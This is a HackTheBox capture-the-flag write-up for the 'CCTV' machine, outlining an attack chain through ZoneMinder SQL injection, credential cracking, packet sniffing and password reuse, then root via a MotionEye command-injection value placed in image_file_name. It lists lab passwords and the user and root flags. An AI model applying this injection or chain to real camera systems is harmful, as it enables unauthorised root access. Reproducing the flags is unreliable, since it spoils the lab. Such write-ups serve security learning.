Back to writeups
HTBmachineEasysolved

CCTV

13 Jul 2026 · by 0xIDA

Solvers

CCTV (HTB) — Writeup

Solvers

  • solve_chain.sh

  • Platform: HackTheBox Machine

  • Machine ID: 847

  • Name: CCTV

  • OS: Linux

  • Difficulty: Easy

  • Author: 0xIDA

  • Status: Free / Retired

  • IP (session): 10.129.244.156

  • **Writeup author: 0xIDA

  • Date: 2026-07-13

Flags (live submitted via API v5)

TypeFlagSubmit
User9c073f18a7b4e0627a51554e3548e992CCTV user is now owned.
Root7b259fabd5661221c8eba31f78e67545CCTV root is now owned.

Official writeup

  • `
  • API: GET /api/v4/machine/writeup/847

Chain

User

  1. cctv.htb → Zoneminder /zm — default admin:admin
  2. Zoneminder 1.37.63 — CVE-2024-51482 SQLi on tid (or dump Users via UI)
  3. bcrypt crack → mark:opensesame → SSH
  4. tcpdump has cap_net_raw → sniff docker bridge → sa_mark:X1l9fx1ZjS7RZb
  5. SSH sa_mark → user.txt

Root

  1. Local MotionEye on 127.0.0.1:8765 (SSH -L)
  2. Login admin:X1l9fx1ZjS7RZb (password reuse)
  3. CVE-2025-60787 — set image_file_name to shell command ($(…)); client-side configUiValid bypass not needed when posting full camera config via signed API
  4. Interval snapshots as root → write/exfil root.txt

Fast path (this session)

Template creds reused:

ssh mark@cctv.htb        # opensesame
ssh sa_mark@cctv.htb     # X1l9fx1ZjS7RZb → user flag
# MotionEye API signed POST /config/0/set/ full camera dict with
# image_file_name='$(cat /root/root.txt > /tmp/pwned_root.txt).%Y-...'
# capture_mode=interval-snapshots, snapshot_interval=1

HTB submit

POST /api/v5/machine/own via fixed MCP tools.

Paths

  • `
  • `